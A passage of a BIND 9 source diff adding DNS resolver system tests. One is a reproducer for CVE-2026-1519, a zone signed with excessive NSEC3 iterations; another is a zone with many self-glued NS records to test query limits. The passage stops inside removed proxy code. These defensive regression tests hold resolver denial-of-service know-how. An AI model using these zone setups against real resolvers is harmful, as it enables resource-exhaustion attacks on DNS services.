bind9-9.20.18/bin/tests/system/nsec3-delegation/ns1/root.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-delegation/ns1/root.db 2026-03-13 22:01:10.667878433 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +. IN SOA . . ( + 2025063000 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) +. NS a.root-servers.nil. + +a.root-servers.nil A 10.53.0.1 + +iter-too-many. NS ns2.iter-too-many. +ns2.iter-too-many. A 10.53.0.2 diff -Nru bind9-9.20.18/bin/tests/system/nsec3-delegation/ns2/iter-too-many.db.j2.manual bind9-9.20.21/bin/tests/system/nsec3-delegation/ns2/iter-too-many.db.j2.manual --- bind9-9.20.18/bin/tests/system/nsec3-delegation/ns2/iter-too-many.db.j2.manual 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-delegation/ns2/iter-too-many.db.j2.manual 2026-03-13 22:01:10.667878433 +0000 @@ -0,0 +1,31 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +{% raw %} +$TTL 300 +@ IN SOA ns2.iter-too-many. hostmaster.iter-too-many. ( + 2026020300 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) +) + +@ IN NS ns2.iter-too-many. +ns2 IN A 10.53.0.2 + +sub IN NS ns2.sub.iter-too-many. +ns2.sub IN A 10.53.0.2 +{% endraw %} + +{% for dnskey in dnskeys %} +@dnskey@ +{% endfor %} diff -Nru bind9-9.20.18/bin/tests/system/nsec3-delegation/ns2/named.conf.j2 bind9-9.20.21/bin/tests/system/nsec3-delegation/ns2/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec3-delegation/ns2/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-delegation/ns2/named.conf.j2 2026-03-13 22:01:10.667878433 +0000 @@ -0,0 +1,40 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.2; + notify-source 10.53.0.2; + transfer-source 10.53.0.2; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.2; }; + listen-on-v6 { none; }; + recursion no; + dnssec-validation no; +}; + +controls { + inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +include "../../_common/rndc.key"; + +zone "iter-too-many" { + type primary; + file "iter-too-many.signed.db"; +}; + +zone "sub.iter-too-many" { + type primary; + file "sub.iter-too-many.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsec3-delegation/ns2/sub.iter-too-many.db bind9-9.20.21/bin/tests/system/nsec3-delegation/ns2/sub.iter-too-many.db --- bind9-9.20.18/bin/tests/system/nsec3-delegation/ns2/sub.iter-too-many.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-delegation/ns2/sub.iter-too-many.db 2026-03-13 22:01:10.667878433 +0000 @@ -0,0 +1,24 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +@ IN SOA ns2.sub.iter-too-many. hostmaster.sub.iter-too-many. ( + 2026020300 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) +) + +@ IN NS ns2.sub.iter-too-many. +ns2 IN A 10.53.0.2 + +example IN A 127.0.0.1 diff -Nru bind9-9.20.18/bin/tests/system/nsec3-delegation/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/nsec3-delegation/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec3-delegation/ns3/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-delegation/ns3/named.conf.j2 2026-03-13 22:01:10.667878433 +0000 @@ -0,0 +1,37 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.3; + notify-source 10.53.0.3; + transfer-source 10.53.0.3; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.3; }; + listen-on-v6 { none; }; + recursion yes; + dnssec-validation yes; +}; + +controls { + inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +include "../../_common/rndc.key"; + +zone "." { + type hint; + file "../../_common/root.hint"; +}; + +include "trusted.conf"; diff -Nru bind9-9.20.18/bin/tests/system/nsec3-delegation/ns3/trusted.conf.j2 bind9-9.20.21/bin/tests/system/nsec3-delegation/ns3/trusted.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec3-delegation/ns3/trusted.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-delegation/ns3/trusted.conf.j2 2026-03-13 22:01:10.487884186 +0000 @@ -0,0 +1,18 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +trust-anchors { +{% for ta in trust_anchors %} + "@ta.domain@" @ta.type@ @ta.contents@; +{% endfor %} +}; diff -Nru bind9-9.20.18/bin/tests/system/nsec3-delegation/tests_excessive_nsec3_iterations.py bind9-9.20.21/bin/tests/system/nsec3-delegation/tests_excessive_nsec3_iterations.py --- bind9-9.20.18/bin/tests/system/nsec3-delegation/tests_excessive_nsec3_iterations.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-delegation/tests_excessive_nsec3_iterations.py 2026-03-13 22:01:10.667878433 +0000 @@ -0,0 +1,61 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from isctest.run import EnvCmd + +import isctest + + +def bootstrap(): + templates = isctest.template.TemplateEngine(".") + keygen = EnvCmd("KEYGEN", "-a ECDSA256") + signer = EnvCmd("SIGNER") + + isctest.log.info("setup iter-too-many.") + zonename = "iter-too-many." + ksk_name = keygen(f"-f KSK {zonename}", cwd="ns2").out.strip() + zsk_name = keygen(f"{zonename}", cwd="ns2").out.strip() + ksk = isctest.kasp.Key(ksk_name, keydir="ns2") + zsk = isctest.kasp.Key(zsk_name, keydir="ns2") + dnskeys = [ksk.dnskey, zsk.dnskey] + + tdata = { + "dnskeys": dnskeys, + } + templates.render(f"ns2/{zonename}db", tdata, template=f"ns2/{zonename}db.j2.manual") + signer( + f"-P -o {zonename} -f {zonename}signed.db -3 A1B2C3D4 -H too-many -H 51 -S {zonename}db", + cwd="ns2", + ) + + return { + "trust_anchors": [ + ksk.into_ta("static-key"), + ], + } + + +def test_excessive_nsec3_iterations_delegation(ns3): + # reproducer for CVE-2026-1519 [GL#5708] + zone = "example.sub.iter-too-many" + msg = isctest.query.create(zone, "A") + res = isctest.query.tcp(msg, ns3.ip) + + # an insecure response is expected regardless of the NSEC3 iteration limit, + # because the sub.iter-too-many. zone is unsigned. the real difference is + # in the CPU usage required for generating such response, but that can't be + # easily and reliably tested in an automated fashion + isctest.check.noerror(res) + + with ns3.watch_log_from_start() as watcher: + watcher.wait_for_line( + f"validating {zone}/A: validator_callback_ds: too many iterations" + ) diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns1/named.conf.j2 2026-03-13 22:01:10.671878306 +0000 @@ -0,0 +1,39 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + recursion no; + dnssec-validation no; +}; + +view "default" { + zone "." { + type primary; + file "root.db"; + }; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns1/root.db bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns1/root.db --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns1/root.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns1/root.db 2026-03-13 22:01:10.671878306 +0000 @@ -0,0 +1,24 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +. IN SOA marka.isc.org. a.root.servers.nil. ( + 2010 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) +. NS a.root-servers.nil. +a.root-servers.nil. A 10.53.0.1 + +tld. NS ns.tld. +ns.tld. A 10.53.0.2 diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns2/named.conf.j2 bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns2/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns2/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns2/named.conf.j2 2026-03-13 22:01:10.671878306 +0000 @@ -0,0 +1,37 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.2; + notify-source 10.53.0.2; + transfer-source 10.53.0.2; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.2; }; + recursion no; + dnssec-validation no; +}; + +zone "tld." { + type primary; + file "tld.db"; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns2/tld.db bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns2/tld.db --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns2/tld.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns2/tld.db 2026-03-13 22:01:10.671878306 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +tld. IN SOA marka.isc.org. ns.tld. ( + 2010 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) +tld. NS ns.tld. +ns.tld. A 10.53.0.2 + +example.tld. NS ns.example.tld. +ns.example.tld. A 10.53.0.3 + diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns3/example.tld.db bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns3/example.tld.db --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns3/example.tld.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns3/example.tld.db 2026-03-13 22:01:10.671878306 +0000 @@ -0,0 +1,68 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. +$TTL 300 +example.tld. IN SOA marka.isc.org. ns.dnshoster.tld. ( + 2010 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) +example.tld. NS ns.example.tld. +ns.example.tld. A 10.53.0.3 +sub.example.tld. NS ns01.sub.example.tld. +sub.example.tld. NS ns02.sub.example.tld. +sub.example.tld. NS ns03.sub.example.tld. +sub.example.tld. NS ns04.sub.example.tld. +sub.example.tld. NS ns05.sub.example.tld. +sub.example.tld. NS ns06.sub.example.tld. +sub.example.tld. NS ns07.sub.example.tld. +sub.example.tld. NS ns08.sub.example.tld. +sub.example.tld. NS ns09.sub.example.tld. +sub.example.tld. NS ns10.sub.example.tld. +sub.example.tld. NS ns11.sub.example.tld. +sub.example.tld. NS ns12.sub.example.tld. +sub.example.tld. NS ns12.sub.example.tld. +sub.example.tld. NS ns12.sub.example.tld. +sub.example.tld. NS ns13.sub.example.tld. +sub.example.tld. NS ns14.sub.example.tld. +sub.example.tld. NS ns15.sub.example.tld. +sub.example.tld. NS ns16.sub.example.tld. +sub.example.tld. NS ns17.sub.example.tld. +sub.example.tld. NS ns18.sub.example.tld. +sub.example.tld. NS ns19.sub.example.tld. +sub.example.tld. NS ns20.sub.example.tld. +sub.example.tld. NS ns21.sub.example.tld. +sub.example.tld. NS ns22.sub.example.tld. +sub.example.tld. NS ns23.sub.example.tld. +ns01.sub.example.tld. A 127.0.0.1 +ns02.sub.example.tld. A 127.0.0.2 +ns03.sub.example.tld. A 127.0.0.3 +ns04.sub.example.tld. A 127.0.0.4 +ns05.sub.example.tld. A 127.0.0.5 +ns06.sub.example.tld. A 127.0.0.6 +ns07.sub.example.tld. A 127.0.0.7 +ns08.sub.example.tld. A 127.0.0.8 +ns09.sub.example.tld. A 127.0.0.9 +ns10.sub.example.tld. A 127.0.0.10 +ns11.sub.example.tld. A 127.0.0.11 +ns12.sub.example.tld. A 127.0.0.12 +ns13.sub.example.tld. A 127.0.0.13 +ns14.sub.example.tld. A 127.0.0.14 +ns15.sub.example.tld. A 127.0.0.15 +ns16.sub.example.tld. A 127.0.0.16 +ns17.sub.example.tld. A 127.0.0.17 +ns18.sub.example.tld. A 127.0.0.18 +ns19.sub.example.tld. A 127.0.0.19 +ns20.sub.example.tld. A 127.0.0.20 +ns21.sub.example.tld. A 127.0.0.21 +ns22.sub.example.tld. A 127.0.0.22 +ns23.sub.example.tld. A 127.0.0.23 diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns3/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns3/named.conf.j2 2026-03-13 22:01:10.671878306 +0000 @@ -0,0 +1,37 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.3; + notify-source 10.53.0.3; + transfer-source 10.53.0.3; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.3; }; + recursion no; + dnssec-validation no; +}; + +zone "example.tld." { + type primary; + file "example.tld.db"; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns4/named.args bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns4/named.args --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns4/named.args 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns4/named.args 2026-03-13 22:01:10.671878306 +0000 @@ -0,0 +1 @@ +-D nsprocessinglimit-ns4 -m record -c named.conf -d 99 -g -T maxcachesize=2097152 -4 diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns4/named.conf.j2 bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns4/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns4/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns4/named.conf.j2 2026-03-13 22:01:10.672878274 +0000 @@ -0,0 +1,39 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.4; + notify-source 10.53.0.4; + transfer-source 10.53.0.4; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.4; }; + recursion yes; + dnssec-validation no; + dnstap { resolver query; }; + dnstap-output file "dnstap.out"; +}; + +zone "." { + type hint; + file "root.hint"; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns4/root.hint bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns4/root.hint --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/ns4/root.hint 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/ns4/root.hint 2026-03-13 22:01:10.672878274 +0000 @@ -0,0 +1,14 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 999999 +. IN NS a.root-servers.nil. +a.root-servers.nil. IN A 10.53.0.1 diff -Nru bind9-9.20.18/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py bind9-9.20.21/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py --- bind9-9.20.18/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py 2026-03-13 22:01:10.672878274 +0000 @@ -0,0 +1,74 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import os + +import isctest +import isctest.mark + +pytestmark = [isctest.mark.with_dnstap] + + +def line_to_ips_and_queries(line): + # dnstap-read output line example + # 05-Feb-2026 11:00:57.853 RQ 10.53.0.4:38507 -> 10.53.0.3:22047 TCP 56b sub.example.tld/IN/NS + _, _, _, _, _, dst, _, _, query = line.split(" ", 9) + ip, _ = dst.split(":", 1) + return (ip, query) + + +def extract_dnstap(ns, expectedlen): + ns.rndc("dnstap -roll 1") + path = os.path.join(ns.identifier, "dnstap.out.0") + dnstapread = isctest.run.cmd( + [isctest.vars.ALL["DNSTAPREAD"], path], + ) + + lines = dnstapread.out.splitlines() + assert expectedlen == len(lines) + return map(line_to_ips_and_queries, lines) + + +def expect_query(expected_query, expected_query_count, ips_and_queries): + count = 0 + for _, query in ips_and_queries: + if query == expected_query: + count += 1 + assert count == expected_query_count + + +def expect_next_ip_and_query(expected_ips_and_queries, ips_and_queries): + for expected_ip, expected_query in expected_ips_and_queries: + ip, query = next(ips_and_queries) + assert ip == expected_ip + assert query == expected_query + + +def test_selfpointedglue_nslimit(ns4): + msg = isctest.query.create("a.sub.example.tld.", "A") + res = isctest.query.tcp(msg, ns4.ip) + isctest.check.servfail(res) + + # The 4 formers lines are request to find sub.example2.tld NSs. + # The latest 20 are queries to sub.example2.tld NSs. + ips_and_queries = extract_dnstap(ns4, 24) + + # Checking the begining of the resulution + expect_next_ip_and_query( + [ + ("10.53.0.1", "./IN/NS"), + ("10.53.0.1", "tld/IN/NS"), + ("10.53.0.2", "example.tld/IN/NS"), + ("10.53.0.3", "sub.example.tld/IN/NS"), + ], + ips_and_queries, + ) + expect_query("a.sub.example.tld/IN/A", 20, ips_and_queries) diff -Nru bind9-9.20.18/bin/tests/system/nsupdate/ans4/ans.py bind9-9.20.21/bin/tests/system/nsupdate/ans4/ans.py --- bind9-9.20.18/bin/tests/system/nsupdate/ans4/ans.py 2026-01-09 13:39:28.134973582 +0000 +++ bind9-9.20.21/bin/tests/system/nsupdate/ans4/ans.py 2026-03-13 22:01:10.674878210 +0000 @@ -9,11 +9,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from isctest.asyncserver import ( - AsyncDnsServer, - IgnoreAllConnections, - IgnoreAllQueries, -) +from isctest.asyncserver import AsyncDnsServer, IgnoreAllConnections, IgnoreAllQueries def main() -> None: diff -Nru bind9-9.20.18/bin/tests/system/nsupdate/tests_sh_nsupdate.py bind9-9.20.21/bin/tests/system/nsupdate/tests_sh_nsupdate.py --- bind9-9.20.18/bin/tests/system/nsupdate/tests_sh_nsupdate.py 2026-01-09 13:39:28.139973713 +0000 +++ bind9-9.20.21/bin/tests/system/nsupdate/tests_sh_nsupdate.py 2026-03-13 22:01:10.680878018 +0000 @@ -13,9 +13,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "Kxxx*", diff -Nru bind9-9.20.18/bin/tests/system/nzd2nzf/tests_nzd2nzf.py bind9-9.20.21/bin/tests/system/nzd2nzf/tests_nzd2nzf.py --- bind9-9.20.18/bin/tests/system/nzd2nzf/tests_nzd2nzf.py 2026-01-09 13:39:28.140973739 +0000 +++ bind9-9.20.21/bin/tests/system/nzd2nzf/tests_nzd2nzf.py 2026-03-13 22:01:10.680878018 +0000 @@ -11,6 +11,7 @@ import os + import pytest import isctest diff -Nru bind9-9.20.18/bin/tests/system/optout/tests_optout.py bind9-9.20.21/bin/tests/system/optout/tests_optout.py --- bind9-9.20.18/bin/tests/system/optout/tests_optout.py 2026-01-09 13:39:28.140973739 +0000 +++ bind9-9.20.21/bin/tests/system/optout/tests_optout.py 2026-03-13 22:01:10.681877986 +0000 @@ -16,18 +16,12 @@ import re import sys -import isctest -import pytest - -pytest.importorskip("dns", minversion="2.0.0") -import dns.exception -import dns.message -import dns.name import dns.query import dns.rcode -import dns.rdataclass -import dns.rdatatype +import dns.zone +import pytest +import isctest pytestmark = [ pytest.mark.skipif( diff -Nru bind9-9.20.18/bin/tests/system/pipelined/ans5/ans.py bind9-9.20.21/bin/tests/system/pipelined/ans5/ans.py --- bind9-9.20.18/bin/tests/system/pipelined/ans5/ans.py 2026-01-09 13:39:28.143973818 +0000 +++ bind9-9.20.21/bin/tests/system/pipelined/ans5/ans.py 2026-03-13 22:01:10.684877890 +0000 @@ -1,211 +1,28 @@ -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -############################################################################ -# -# This tool acts as a TCP/UDP proxy and delays all incoming packets by 500 -# milliseconds. -# -# We use it to check pipelining - a client sents 8 questions over a -# pipelined connection - that require asking a normal (examplea) and a -# slow-responding (exampleb) servers: -# a.examplea -# a.exampleb -# b.examplea -# b.exampleb -# c.examplea -# c.exampleb -# d.examplea -# d.exampleb -# -# If pipelining works properly the answers will be returned out of order -# with all answers from examplea returned first, and then all answers -# from exampleb. -# -############################################################################ - -from __future__ import print_function - -import datetime -import os -import select -import signal -import socket -import sys -import time -import threading -import struct - -DELAY = 0.5 -THREADS = [] - - -def log(msg): - print(datetime.datetime.now().strftime("%d-%b-%Y %H:%M:%S.%f ") + msg) - - -def sigterm(*_): - log("SIGTERM received, shutting down") - for thread in THREADS: - thread.close() - thread.join() - os.remove("ans.pid") - sys.exit(0) - - -class TCPDelayer(threading.Thread): - """For a given TCP connection conn we open a connection to (ip, port), - and then we delay each incoming packet by DELAY by putting it in a - queue. - In the pipelined test TCP should not be used, but it's here for - completnes. - """ - - def __init__(self, conn, ip, port): - threading.Thread.__init__(self) - self.conn = conn - self.cconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.cconn.connect((ip, port)) - self.queue = [] - self.running = True - - def close(self): - self.running = False - - def run(self): - while self.running: - curr_timeout = 0.5 - try: - curr_timeout = self.queue[0][0] - time.monotonic() - except StopIteration: - pass - if curr_timeout > 0: - if curr_timeout == 0: - curr_timeout = 0.5 - rfds, _, _ = select.select( - [self.conn, self.cconn], [], [], curr_timeout - ) - if self.conn in rfds: - data = self.conn.recv(65535) - if not data: - return - self.queue.append((time.monotonic() + DELAY, data)) - if self.cconn in rfds: - data = self.cconn.recv(65535) - if not data == 0: - return - self.conn.send(data) - try: - while self.queue[0][0] - time.monotonic() < 0: - _, data = self.queue.pop(0) - self.cconn.send(data) - except StopIteration: - pass - - -class UDPDelayer(threading.Thread): - """Every incoming UDP packet is put in a queue for DELAY time, then - it's sent to (ip, port). We remember the query id to send the - response we get to a proper source, responses are not delayed. - """ - - def __init__(self, usock, ip, port): - threading.Thread.__init__(self) - self.sock = usock - self.csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - self.dst = (ip, port) - self.queue = [] - self.qid_mapping = {} - self.running = True - - def close(self): - self.running = False - - def run(self): - while self.running: - curr_timeout = 0.5 - if self.queue: - curr_timeout = self.queue[0][0] - time.monotonic() - if curr_timeout >= 0: - if curr_timeout == 0: - curr_timeout = 0.5 - rfds, _, _ = select.select( - [self.sock, self.csock], [], [], curr_timeout - ) - if self.sock in rfds: - data, addr = self.sock.recvfrom(65535) - if not data: - return - self.queue.append((time.monotonic() + DELAY, data)) - qid = struct.unpack(">H", data[:2])[0] - log("Received a query from %s, queryid %d" % (str(addr), qid)) - self.qid_mapping[qid] = addr - if self.csock in rfds: - data, addr = self.csock.recvfrom(65535) - if not data: - return - qid = struct.unpack(">H", data[:2])[0] - dst = self.qid_mapping.get(qid) - if dst is not None: - self.sock.sendto(data, dst) - log( - "Received a response from %s, queryid %d, sending to %s" - % (str(addr), qid, str(dst)) - ) - while self.queue and self.queue[0][0] - time.monotonic() 